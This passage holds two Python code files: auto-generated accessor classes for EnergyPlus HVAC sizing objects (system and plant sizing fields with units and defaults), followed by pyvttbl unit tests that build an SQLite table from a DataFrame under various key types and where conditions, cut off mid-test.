self["Central Cooling Design Supply Air Temperature"] @central_cooling_design_supply_air_temperature.setter def central_cooling_design_supply_air_temperature(self, value=None): """Corresponds to IDD field `Central Cooling Design Supply Air Temperature`""" self["Central Cooling Design Supply Air Temperature"] = value @property def central_heating_design_supply_air_temperature(self): """field `Central Heating Design Supply Air Temperature` | Units: C Args: value (float): value for IDD Field `Central Heating Design Supply Air Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `central_heating_design_supply_air_temperature` or None if not set """ return self["Central Heating Design Supply Air Temperature"] @central_heating_design_supply_air_temperature.setter def central_heating_design_supply_air_temperature(self, value=None): """Corresponds to IDD field `Central Heating Design Supply Air Temperature`""" self["Central Heating Design Supply Air Temperature"] = value @property def type_of_zone_sum_to_use(self): """field `Type of Zone Sum to Use` | Default value: NonCoincident Args: value (str): value for IDD Field `Type of Zone Sum to Use` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `type_of_zone_sum_to_use` or None if not set """ return self["Type of Zone Sum to Use"] @type_of_zone_sum_to_use.setter def type_of_zone_sum_to_use(self, value="NonCoincident"): """Corresponds to IDD field `Type of Zone Sum to Use`""" self["Type of Zone Sum to Use"] = value @property def a_100_outdoor_air_in_cooling(self): """field `100% Outdoor Air in Cooling` | Default value: No Args: value (str): value for IDD Field `100% Outdoor Air in Cooling` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `a_100_outdoor_air_in_cooling` or None if not set """ return self["100% Outdoor Air in Cooling"] @a_100_outdoor_air_in_cooling.setter def a_100_outdoor_air_in_cooling(self, value="No"): """Corresponds to IDD field `100% Outdoor Air in Cooling`""" self["100% Outdoor Air in Cooling"] = value @property def a_100_outdoor_air_in_heating(self): """field `100% Outdoor Air in Heating` | Default value: No Args: value (str): value for IDD Field `100% Outdoor Air in Heating` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `a_100_outdoor_air_in_heating` or None if not set """ return self["100% Outdoor Air in Heating"] @a_100_outdoor_air_in_heating.setter def a_100_outdoor_air_in_heating(self, value="No"): """Corresponds to IDD field `100% Outdoor Air in Heating`""" self["100% Outdoor Air in Heating"] = value @property def central_cooling_design_supply_air_humidity_ratio(self): """field `Central Cooling Design Supply Air Humidity Ratio` | Units: kgWater/kgDryAir | Default value: 0.008 Args: value (float): value for IDD Field `Central Cooling Design Supply Air Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `central_cooling_design_supply_air_humidity_ratio` or None if not set """ return self["Central Cooling Design Supply Air Humidity Ratio"] @central_cooling_design_supply_air_humidity_ratio.setter def central_cooling_design_supply_air_humidity_ratio(self, value=0.008): """Corresponds to IDD field `Central Cooling Design Supply Air Humidity Ratio`""" self["Central Cooling Design Supply Air Humidity Ratio"] = value @property def central_heating_design_supply_air_humidity_ratio(self): """field `Central Heating Design Supply Air Humidity Ratio` | Units: kgWater/kgDryAir | Default value: 0.008 Args: value (float): value for IDD Field `Central Heating Design Supply Air Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `central_heating_design_supply_air_humidity_ratio` or None if not set """ return self["Central Heating Design Supply Air Humidity Ratio"] @central_heating_design_supply_air_humidity_ratio.setter def central_heating_design_supply_air_humidity_ratio(self, value=0.008): """Corresponds to IDD field `Central Heating Design Supply Air Humidity Ratio`""" self["Central Heating Design Supply Air Humidity Ratio"] = value @property def cooling_supply_air_flow_rate_method(self): """field `Cooling Supply Air Flow Rate Method` | Default value: DesignDay Args: value (str): value for IDD Field `Cooling Supply Air Flow Rate Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cooling_supply_air_flow_rate_method` or None if not set """ return self["Cooling Supply Air Flow Rate Method"] @cooling_supply_air_flow_rate_method.setter def cooling_supply_air_flow_rate_method(self, value="DesignDay"): """Corresponds to IDD field `Cooling Supply Air Flow Rate Method`""" self["Cooling Supply Air Flow Rate Method"] = value @property def cooling_supply_air_flow_rate(self): """field `Cooling Supply Air Flow Rate` | This input is used if Cooling Supply Air Flow Rate Method is Flow/System | This value will *not* be multiplied by any sizing factor or by zone multipliers. | If using zone multipliers, this value must be large enough to serve the multiplied zones. | Units: m3/s Args: value (float): value for IDD Field `Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_supply_air_flow_rate` or None if not set """ return self["Cooling Supply Air Flow Rate"] @cooling_supply_air_flow_rate.setter def cooling_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate`""" self["Cooling Supply Air Flow Rate"] = value @property def cooling_supply_air_flow_rate_per_floor_area(self): """field `Cooling Supply Air Flow Rate Per Floor Area` | Enter the cooling supply air volume flow rate per total conditioned floor area. | Required field when Cooling Supply Air Flow Rate Method is FlowPerFloorArea. | Units: m3/s-m2 Args: value (float): value for IDD Field `Cooling Supply Air Flow Rate Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_supply_air_flow_rate_per_floor_area` or None if not set """ return self["Cooling Supply Air Flow Rate Per Floor Area"] @cooling_supply_air_flow_rate_per_floor_area.setter def cooling_supply_air_flow_rate_per_floor_area(self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate Per Floor Area`""" self["Cooling Supply Air Flow Rate Per Floor Area"] = value @property def cooling_fraction_of_autosized_cooling_supply_air_flow_rate(self): """field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the cooling supply air flow rate. | Required field when Cooling Supply Air Flow Rate Method is | FractionOfAutosizedCoolingAirflow. Args: value (float): value for IDD Field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_fraction_of_autosized_cooling_supply_air_flow_rate` or None if not set """ return self[ "Cooling Fraction of Autosized Cooling Supply Air Flow Rate"] @cooling_fraction_of_autosized_cooling_supply_air_flow_rate.setter def cooling_fraction_of_autosized_cooling_supply_air_flow_rate( self, value=None): """Corresponds to IDD field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate`""" self[ "Cooling Fraction of Autosized Cooling Supply Air Flow Rate"] = value @property def cooling_supply_air_flow_rate_per_unit_cooling_capacity(self): """field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity` | Enter the supply air volume flow rate per unit cooling capacity. | Required field when Cooling Supply Air Flow Rate Method is | FlowPerCoolingCapacity. | Units: m3/s-W Args: value (float): value for IDD Field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_supply_air_flow_rate_per_unit_cooling_capacity` or None if not set """ return self["Cooling Supply Air Flow Rate Per Unit Cooling Capacity"] @cooling_supply_air_flow_rate_per_unit_cooling_capacity.setter def cooling_supply_air_flow_rate_per_unit_cooling_capacity( self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity`""" self["Cooling Supply Air Flow Rate Per Unit Cooling Capacity"] = value @property def heating_supply_air_flow_rate_method(self): """field `Heating Supply Air Flow Rate Method` | Default value: DesignDay Args: value (str): value for IDD Field `Heating Supply Air Flow Rate Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `heating_supply_air_flow_rate_method` or None if not set """ return self["Heating Supply Air Flow Rate Method"] @heating_supply_air_flow_rate_method.setter def heating_supply_air_flow_rate_method(self, value="DesignDay"): """Corresponds to IDD field `Heating Supply Air Flow Rate Method`""" self["Heating Supply Air Flow Rate Method"] = value @property def heating_supply_air_flow_rate(self): """field `Heating Supply Air Flow Rate` | Required field when Heating Supply Air Flow Rate Method is Flow/System | This value will *not* be multiplied by any sizing factor or by zone multipliers. | If using zone multipliers, this value must be large enough to serve the multiplied zones. | Units: m3/s Args: value (float): value for IDD Field `Heating Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_supply_air_flow_rate` or None if not set """ return self["Heating Supply Air Flow Rate"] @heating_supply_air_flow_rate.setter def heating_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate`""" self["Heating Supply Air Flow Rate"] = value @property def heating_supply_air_flow_rate_per_floor_area(self): """field `Heating Supply Air Flow Rate Per Floor Area` | Enter the heating supply air volume flow rate per total conditioned floor area. | Required field when Heating Supply Air Flow Rate Method is FlowPerFloorArea. | Units: m3/s-m2 Args: value (float): value for IDD Field `Heating Supply Air Flow Rate Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_supply_air_flow_rate_per_floor_area` or None if not set """ return self["Heating Supply Air Flow Rate Per Floor Area"] @heating_supply_air_flow_rate_per_floor_area.setter def heating_supply_air_flow_rate_per_floor_area(self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate Per Floor Area`""" self["Heating Supply Air Flow Rate Per Floor Area"] = value @property def heating_fraction_of_autosized_heating_supply_air_flow_rate(self): """field `Heating Fraction of Autosized Heating Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the heating supply air flow rate. | Required field when Heating Supply Air Flow Rate Method is | FractionOfAutosizedHeatingAirflow. Args: value (float): value for IDD Field `Heating Fraction of Autosized Heating Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_fraction_of_autosized_heating_supply_air_flow_rate` or None if not set """ return self[ "Heating Fraction of Autosized Heating Supply Air Flow Rate"] @heating_fraction_of_autosized_heating_supply_air_flow_rate.setter def heating_fraction_of_autosized_heating_supply_air_flow_rate( self, value=None): """Corresponds to IDD field `Heating Fraction of Autosized Heating Supply Air Flow Rate`""" self[ "Heating Fraction of Autosized Heating Supply Air Flow Rate"] = value @property def heating_fraction_of_autosized_cooling_supply_air_flow_rate(self): """field `Heating Fraction of Autosized Cooling Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the cooling supply air flow rate. | Required field when Heating Supply Air Flow Rate Method is | FractionOfAutosizedCoolingAirflow. Args: value (float): value for IDD Field `Heating Fraction of Autosized Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_fraction_of_autosized_cooling_supply_air_flow_rate` or None if not set """ return self[ "Heating Fraction of Autosized Cooling Supply Air Flow Rate"] @heating_fraction_of_autosized_cooling_supply_air_flow_rate.setter def heating_fraction_of_autosized_cooling_supply_air_flow_rate( self, value=None): """Corresponds to IDD field `Heating Fraction of Autosized Cooling Supply Air Flow Rate`""" self[ "Heating Fraction of Autosized Cooling Supply Air Flow Rate"] = value @property def heating_supply_air_flow_rate_per_unit_heating_capacity(self): """field `Heating Supply Air Flow Rate Per Unit Heating Capacity` | Enter the heating supply air volume flow rate per unit heating capacity. | Required field when Heating Supply Air Flow Rate Method is | FlowPerHeatingCapacity. | Units: m3/s-W Args: value (float): value for IDD Field `Heating Supply Air Flow Rate Per Unit Heating Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_supply_air_flow_rate_per_unit_heating_capacity` or None if not set """ return self["Heating Supply Air Flow Rate Per Unit Heating Capacity"] @heating_supply_air_flow_rate_per_unit_heating_capacity.setter def heating_supply_air_flow_rate_per_unit_heating_capacity( self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate Per Unit Heating Capacity`""" self["Heating Supply Air Flow Rate Per Unit Heating Capacity"] = value @property def system_outdoor_air_method(self): """field `System Outdoor Air Method` | Default value: ZoneSum Args: value (str): value for IDD Field `System Outdoor Air Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `system_outdoor_air_method` or None if not set """ return self["System Outdoor Air Method"] @system_outdoor_air_method.setter def system_outdoor_air_method(self, value="ZoneSum"): """Corresponds to IDD field `System Outdoor Air Method`""" self["System Outdoor Air Method"] = value @property def zone_maximum_outdoor_air_fraction(self): """field `Zone Maximum Outdoor Air Fraction` | Units: dimensionless | Default value: 1.0 Args: value (float): value for IDD Field `Zone Maximum Outdoor Air Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_maximum_outdoor_air_fraction` or None if not set """ return self["Zone Maximum Outdoor Air Fraction"] @zone_maximum_outdoor_air_fraction.setter def zone_maximum_outdoor_air_fraction(self, value=1.0): """Corresponds to IDD field `Zone Maximum Outdoor Air Fraction`""" self["Zone Maximum Outdoor Air Fraction"] = value @property def cooling_design_capacity_method(self): """field `Cooling Design Capacity Method` | Enter the method used to determine the system cooling design capacity for scalable sizing. | None is used when a cooling coils is not included in an airloop or this field may be blank. | If this input field is left blank, then the design cooling capacity is set to zero. | CoolingDesignCapacity => selected when the design cooling capacity value is specified or | auto-sized. CapacityPerFloorArea => selected when the design cooling capacity is determined | from user specified cooling capacity per floor area and total floor area of cooled zones | served by an airloop. FractionOfAutosizedCoolingCapacity => is selected when the design | cooling capacity is determined from a user specified fraction and the auto-sized design | cooling capacity of the system. | Default value: CoolingDesignCapacity Args: value (str): value for IDD Field `Cooling Design Capacity Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cooling_design_capacity_method` or None if not set """ return self["Cooling Design Capacity Method"] @cooling_design_capacity_method.setter def cooling_design_capacity_method(self, value="CoolingDesignCapacity"): """Corresponds to IDD field `Cooling Design Capacity Method`""" self["Cooling Design Capacity Method"] = value @property def cooling_design_capacity(self): """field `Cooling Design Capacity` | Enter the design cooling capacity. | Units: W | Default value: "autosize" Args: value (float or "Autosize"): value for IDD Field `Cooling Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `cooling_design_capacity` or None if not set """ return self["Cooling Design Capacity"] @cooling_design_capacity.setter def cooling_design_capacity(self, value="autosize"): """Corresponds to IDD field `Cooling Design Capacity`""" self["Cooling Design Capacity"] = value @property def cooling_design_capacity_per_floor_area(self): """field `Cooling Design Capacity Per Floor Area` | Enter the cooling design capacity per total floor area of cooled zones served by an airloop. | Required field when the cooling design capacity method field is CapacityPerFloorArea. | Units: W/m2 Args: value (float): value for IDD Field `Cooling Design Capacity Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_design_capacity_per_floor_area` or None if not set """ return self["Cooling Design Capacity Per Floor Area"] @cooling_design_capacity_per_floor_area.setter def cooling_design_capacity_per_floor_area(self, value=None): """Corresponds to IDD field `Cooling Design Capacity Per Floor Area`""" self["Cooling Design Capacity Per Floor Area"] = value @property def fraction_of_autosized_cooling_design_capacity(self): """field `Fraction of Autosized Cooling Design Capacity` | Enter the fraction of auto-sized cooling design capacity. Required field when the cooling | design capacity method field is FractionOfAutosizedCoolingCapacity. Args: value (float): value for IDD Field `Fraction of Autosized Cooling Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `fraction_of_autosized_cooling_design_capacity` or None if not set """ return self["Fraction of Autosized Cooling Design Capacity"] @fraction_of_autosized_cooling_design_capacity.setter def fraction_of_autosized_cooling_design_capacity(self, value=None): """Corresponds to IDD field `Fraction of Autosized Cooling Design Capacity`""" self["Fraction of Autosized Cooling Design Capacity"] = value @property def heating_design_capacity_method(self): """field `Heating Design Capacity Method` | Enter the method used to determine the heating design capacity for scalable sizing. | None is used when a heating coil not included in an airloop or this field may be blank. | If this input field is left blank, then the design heating capacity is set to zero. | HeatingDesignCapacity => selected when the design heating capacity value is specified or | auto-sized. CapacityPerFloorArea => selected when the design heating capacity is determined | from user specified heating capacity per flow area and total floor area of heated zones | served by an airloop. FractionOfAutosizedHeatingCapacity => is selected when the design | heating capacity is determined from a user specified fraction and the auto-sized design | heating capacity of the system. | Default value: HeatingDesignCapacity Args: value (str): value for IDD Field `Heating Design Capacity Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `heating_design_capacity_method` or None if not set """ return self["Heating Design Capacity Method"] @heating_design_capacity_method.setter def heating_design_capacity_method(self, value="HeatingDesignCapacity"): """Corresponds to IDD field `Heating Design Capacity Method`""" self["Heating Design Capacity Method"] = value @property def heating_design_capacity(self): """field `Heating Design Capacity` | Enter the design heating capacity. | Units: W | Default value: "autosize" Args: value (float or "Autosize"): value for IDD Field `Heating Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `heating_design_capacity` or None if not set """ return self["Heating Design Capacity"] @heating_design_capacity.setter def heating_design_capacity(self, value="autosize"): """Corresponds to IDD field `Heating Design Capacity`""" self["Heating Design Capacity"] = value @property def heating_design_capacity_per_floor_area(self): """field `Heating Design Capacity Per Floor Area` | Enter the heating design capacity per zone floor area. Required field when the heating design | capacity method field is CapacityPerFloorArea. | Units: W/m2 Args: value (float): value for IDD Field `Heating Design Capacity Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_design_capacity_per_floor_area` or None if not set """ return self["Heating Design Capacity Per Floor Area"] @heating_design_capacity_per_floor_area.setter def heating_design_capacity_per_floor_area(self, value=None): """Corresponds to IDD field `Heating Design Capacity Per Floor Area`""" self["Heating Design Capacity Per Floor Area"] = value @property def fraction_of_autosized_heating_design_capacity(self): """field `Fraction of Autosized Heating Design Capacity` | Enter the fraction of auto-sized heating design capacity. Required field when capacity the | heating design capacity method field is FractionOfAutosizedHeatingCapacity. Args: value (float): value for IDD Field `Fraction of Autosized Heating Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `fraction_of_autosized_heating_design_capacity` or None if not set """ return self["Fraction of Autosized Heating Design Capacity"] @fraction_of_autosized_heating_design_capacity.setter def fraction_of_autosized_heating_design_capacity(self, value=None): """Corresponds to IDD field `Fraction of Autosized Heating Design Capacity`""" self["Fraction of Autosized Heating Design Capacity"] = value @property def central_cooling_capacity_control_method(self): """field `Central Cooling Capacity Control Method` | Method used to control the coil's output | Default value: OnOff Args: value (str): value for IDD Field `Central Cooling Capacity Control Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `central_cooling_capacity_control_method` or None if not set """ return self["Central Cooling Capacity Control Method"] @central_cooling_capacity_control_method.setter def central_cooling_capacity_control_method(self, value="OnOff"): """Corresponds to IDD field `Central Cooling Capacity Control Method`""" self["Central Cooling Capacity Control Method"] = value class SizingPlant(DataObject): """ Corresponds to IDD object `Sizing:Plant` Specifies the input needed to autosize plant loop flow rates and equipment capacities. This information is initially used by components that use water for heating or cooling such as hot or chilled water coils to calculate their maximum water flow rates. These flow rates are then summed for use in calculating the Plant Loop flow rates. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'plant or condenser loop name', {'name': u'Plant or Condenser Loop Name', 'pyname': u'plant_or_condenser_loop_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'loop type', {'name': u'Loop Type', 'pyname': u'loop_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Heating', u'Cooling', u'Condenser', u'Steam'], 'autocalculatable': False, 'type': 'alpha'}), (u'design loop exit temperature', {'name': u'Design Loop Exit Temperature', 'pyname': u'design_loop_exit_temperature', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'loop design temperature difference', {'name': u'Loop Design Temperature Difference', 'pyname': u'loop_design_temperature_difference', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'deltaC'}), (u'sizing option', {'name': u'Sizing Option', 'pyname': u'sizing_option', 'default': u'NonCoincident', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Coincident', u'NonCoincident'], 'autocalculatable': False, 'type': 'alpha'}), (u'zone timesteps in averaging window', {'name': u'Zone Timesteps in Averaging Window', 'pyname': u'zone_timesteps_in_averaging_window', 'default': 1, 'required-field': False, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'coincident sizing factor mode', {'name': u'Coincident Sizing Factor Mode', 'pyname': u'coincident_sizing_factor_mode', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'GlobalHeatingSizingFactor', u'GlobalCoolingSizingFactor', u'LoopComponentSizingFactor'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 4, 'name': u'Sizing:Plant', 'pyname': u'SizingPlant', 'required-object': False, 'unique-object': False} @property def plant_or_condenser_loop_name(self): """field `Plant or Condenser Loop Name` | Enter the name of a PlantLoop or a CondenserLoop object Args: value (str): value for IDD Field `Plant or Condenser Loop Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `plant_or_condenser_loop_name` or None if not set """ return self["Plant or Condenser Loop Name"] @plant_or_condenser_loop_name.setter def plant_or_condenser_loop_name(self, value=None): """Corresponds to IDD field `Plant or Condenser Loop Name`""" self["Plant or Condenser Loop Name"] = value @property def loop_type(self): """field `Loop Type` Args: value (str): value for IDD Field `Loop Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `loop_type` or None if not set """ return self["Loop Type"] @loop_type.setter def loop_type(self, value=None): """Corresponds to IDD field `Loop Type`""" self["Loop Type"] = value @property def design_loop_exit_temperature(self): """field `Design Loop Exit Temperature` | Units: C Args: value (float): value for IDD Field `Design Loop Exit Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `design_loop_exit_temperature` or None if not set """ return self["Design Loop Exit Temperature"] @design_loop_exit_temperature.setter def design_loop_exit_temperature(self, value=None): """Corresponds to IDD field `Design Loop Exit Temperature`""" self["Design Loop Exit Temperature"] = value @property def loop_design_temperature_difference(self): """field `Loop Design Temperature Difference` | Units: deltaC Args: value (float): value for IDD Field `Loop Design Temperature Difference` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `loop_design_temperature_difference` or None if not set """ return self["Loop Design Temperature Difference"] @loop_design_temperature_difference.setter def loop_design_temperature_difference(self, value=None): """Corresponds to IDD field `Loop Design Temperature Difference`""" self["Loop Design Temperature Difference"] = value @property def sizing_option(self): """field `Sizing Option` | if Coincident is chosen, then sizing is based on HVAC Sizing Simulations and | the input field called Do HVAC Sizing Simulation for Sizing Periods in SimulationControl must be set to Yes | Default value: NonCoincident Args: value (str): value for IDD Field `Sizing Option` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `sizing_option` or None if not set """ return self["Sizing Option"] @sizing_option.setter def sizing_option(self, value="NonCoincident"): """Corresponds to IDD field `Sizing Option`""" self["Sizing Option"] = value @property def zone_timesteps_in_averaging_window(self): """field `Zone Timesteps in Averaging Window` | this is used in the coincident sizing algorithm to apply a running average to peak flow rates | that occur during HVAC Sizing Simulations | Default value: 1 | value >= 1 Args: value (int): value for IDD Field `Zone Timesteps in Averaging Window` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `zone_timesteps_in_averaging_window` or None if not set """ return self["Zone Timesteps in Averaging Window"] @zone_timesteps_in_averaging_window.setter def zone_timesteps_in_averaging_window(self, value=1): """Corresponds to IDD field `Zone Timesteps in Averaging Window`""" self["Zone Timesteps in Averaging Window"] = value @property def coincident_sizing_factor_mode(self): """field `Coincident Sizing Factor Mode` | this is used to adjust the result for coincident sizing by applying a sizing factor Args: value (str): value for IDD Field `Coincident Sizing Factor Mode` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `coincident_sizing_factor_mode` or None if not set """ return self["Coincident Sizing Factor Mode"] @coincident_sizing_factor_mode.setter def coincident_sizing_factor_mode(self, value=None): """Corresponds to IDD field `Coincident Sizing Factor Mode`""" self["Coincident Sizing Factor Mode"] = value class OutputControlSizingStyle(DataObject): """ Corresponds to IDD object `OutputControl:Sizing:Style` Default style for the Sizing output files is comma -- this works well for importing into spreadsheet programs such as Excel(tm) but not so well for word processing programs -- there tab may be a better choice. Fixed puts spaces between the "columns" """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'column separator', {'name': u'Column Separator', 'pyname': u'column_separator', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Comma', u'Tab', u'Fixed'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 0, 'name': u'OutputControl:Sizing:Style', 'pyname': u'OutputControlSizingStyle', 'required-object': False, 'unique-object': True} @property def column_separator(self): """field `Column Separator` Args: value (str): value for IDD Field `Column Separator` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `column_separator` or None if not set """ return self["Column Separator"] @column_separator.setter def column_separator(self, value=None): """Corresponds to IDD field `Column Separator`""" self["Column Separator"] = value

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6

c51f7cc15e77423296f866aafcaedc5fc5aa7c83

6,957

py

Python

pyvttbl/tests/test_df_build_sqlite3_tbl.py

yk/pyvttbl

af66c1aba410ba5386249cd5b95f2ae0ed01d870

[ "BSD-3-Clause" ]

null

pyvttbl/tests/test_df_build_sqlite3_tbl.py

yk/pyvttbl

af66c1aba410ba5386249cd5b95f2ae0ed01d870

[ "BSD-3-Clause" ]

null

pyvttbl/tests/test_df_build_sqlite3_tbl.py

yk/pyvttbl

af66c1aba410ba5386249cd5b95f2ae0ed01d870

[ "BSD-3-Clause" ]

null

# Copyright (c) 2011, Roger Lew [see LICENSE.txt] # This software is funded in part by NIH Grant P20 RR016454. # Python 2 to 3 workarounds import sys if sys.version_info[0] == 2: _strobj = str _xrange = xrange elif sys.version_info[0] == 3: _strobj = str _xrange = range import unittest import warnings import os from random import shuffle import numpy as np from pyvttbl import DataFrame from pyvttbl.misc.support import * class Test__build_sqlite3_tbl(unittest.TestCase): def test00(self): """test with string keys""" df=DataFrame() ## df.PRINTQUERIES=True df['1']=list(range(100)) df['2']=['bob' for i in range(100)] df['3']=[i*1.234232 for i in range(100)] df['4']=['bob' for i in range(50)]+list(range(50)) df['5']= np.sqrt(df['3'] *100.) ## print(df) shuffle(df['1']) shuffle(df['2']) shuffle(df['3']) df._build_sqlite3_tbl(list(df.keys())) df._execute('select * from TBL') for i,(a,b,c,d,e) in enumerate(df.cur): self.assertEqual(a,df['1'][i]) self.assertEqual(b,df['2'][i]) self.assertEqual(c,df['3'][i]) self.assertEqual(d,str(df['4'][i])) def test01(self): """test with integer keys""" df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) shuffle(df[1]) shuffle(df[2]) shuffle(df[3]) shuffle(df[4]) df._build_sqlite3_tbl(list(df.keys())) df._execute('select * from TBL') for i,(a,b,c,d) in enumerate(df.cur): self.assertEqual(a,df[1][i]) self.assertEqual(b,df[2][i]) self.assertEqual(c,df[3][i]) self.assertEqual(d,str(df[4][i])) def test02(self): """test with tuple keys""" df=DataFrame() ## df.PRINTQUERIES = True df[(1,)]=list(range(100)) df[(2,)]=['bob' for i in range(100)] df[(3,)]=[i*1.234232 for i in range(100)] df[(4,)]=['bob' for i in range(50)]+list(range(50)) shuffle(df[(1,)]) shuffle(df[(2,)]) shuffle(df[(3,)]) shuffle(df[(4,)]) df._build_sqlite3_tbl(list(df.keys())) df._execute('select * from TBL') for i,(a,b,c,d) in enumerate(df.cur): self.assertEqual(a,df[(1,)][i]) self.assertEqual(b,df[(2,)][i]) self.assertEqual(c,df[(3,)][i]) self.assertEqual(d,str(df[(4,)][i])) def test1(self): """test with integer keys subset of table""" df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) shuffle(df[1]) shuffle(df[2]) shuffle(df[3]) shuffle(df[4]) df._build_sqlite3_tbl(list(df.keys())[:2]) df._execute('select * from TBL') for i,(a,b) in enumerate(df.cur): self.assertEqual(a,df[1][i]) self.assertEqual(b,df[2][i]) def test2(self): """test with string keys and tuple where condition""" df=DataFrame() df['1']=list(range(100)) df['2']=['bob' for i in range(100)] df['3']=[i*1.234232 for i in range(100)] df['4']=['bob' for i in range(50)]+list(range(50)) shuffle(df['1']) shuffle(df['2']) shuffle(df['3']) df._build_sqlite3_tbl(list(df.keys())[:2], [('4','not in',['bob'])]) df._execute('select * from TBL') for i,(a,b) in enumerate(df.cur): self.assertEqual(a,df['1'][i+50]) self.assertEqual(b,df['2'][i+50]) def test21(self): """test with string keys and tuple where condition""" df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) shuffle(df[1]) shuffle(df[2]) shuffle(df[3]) df._build_sqlite3_tbl(list(df.keys())[:2], [(4,'not in',['bob'])]) df._execute('select * from TBL') for i,(a,b) in enumerate(df.cur): self.assertEqual(a,df[1][i+50]) self.assertEqual(b,df[2][i+50]) def test22(self): """test with string keys and where condition""" df=DataFrame() df['1']=list(range(100)) df['2']=['bob' for i in range(100)] df['3']=[i*1.234232 for i in range(100)] df['4']=['bob' for i in range(50)]+list(range(50)) shuffle(df['1']) shuffle(df['2']) shuffle(df['3']) df._build_sqlite3_tbl(list(df.keys())[:2], ['4 not in ("bob")']) df._execute('select * from TBL') for i,(a,b) in enumerate(df.cur): self.assertEqual(a,df['1'][i+50]) self.assertEqual(b,df['2'][i+50]) def test3(self): """test with string keys and tuple where condition""" df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) shuffle(df[1]) shuffle(df[2]) shuffle(df[3]) df._build_sqlite3_tbl(list(df.keys())[:2], [(4,'!=','bob')]) df._execute('select * from TBL') for i,(a,b) in enumerate(df.cur): self.assertEqual(a,df[1][i+50]) self.assertEqual(b,df[2][i+50]) def test31(self): df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) shuffle(df[1]) shuffle(df[2]) shuffle(df[3]) with self.assertRaises(KeyError) as cm: df._build_sqlite3_tbl(list(df.keys())[:2], ['4 != "bob"']) self.assertEqual(str(cm.exception), "'4'") def test4(self): df=DataFrame() df[1]=list(range(100)) df[2]=['bob' for i in range(100)] df[3]=[i*1.234232 for i in 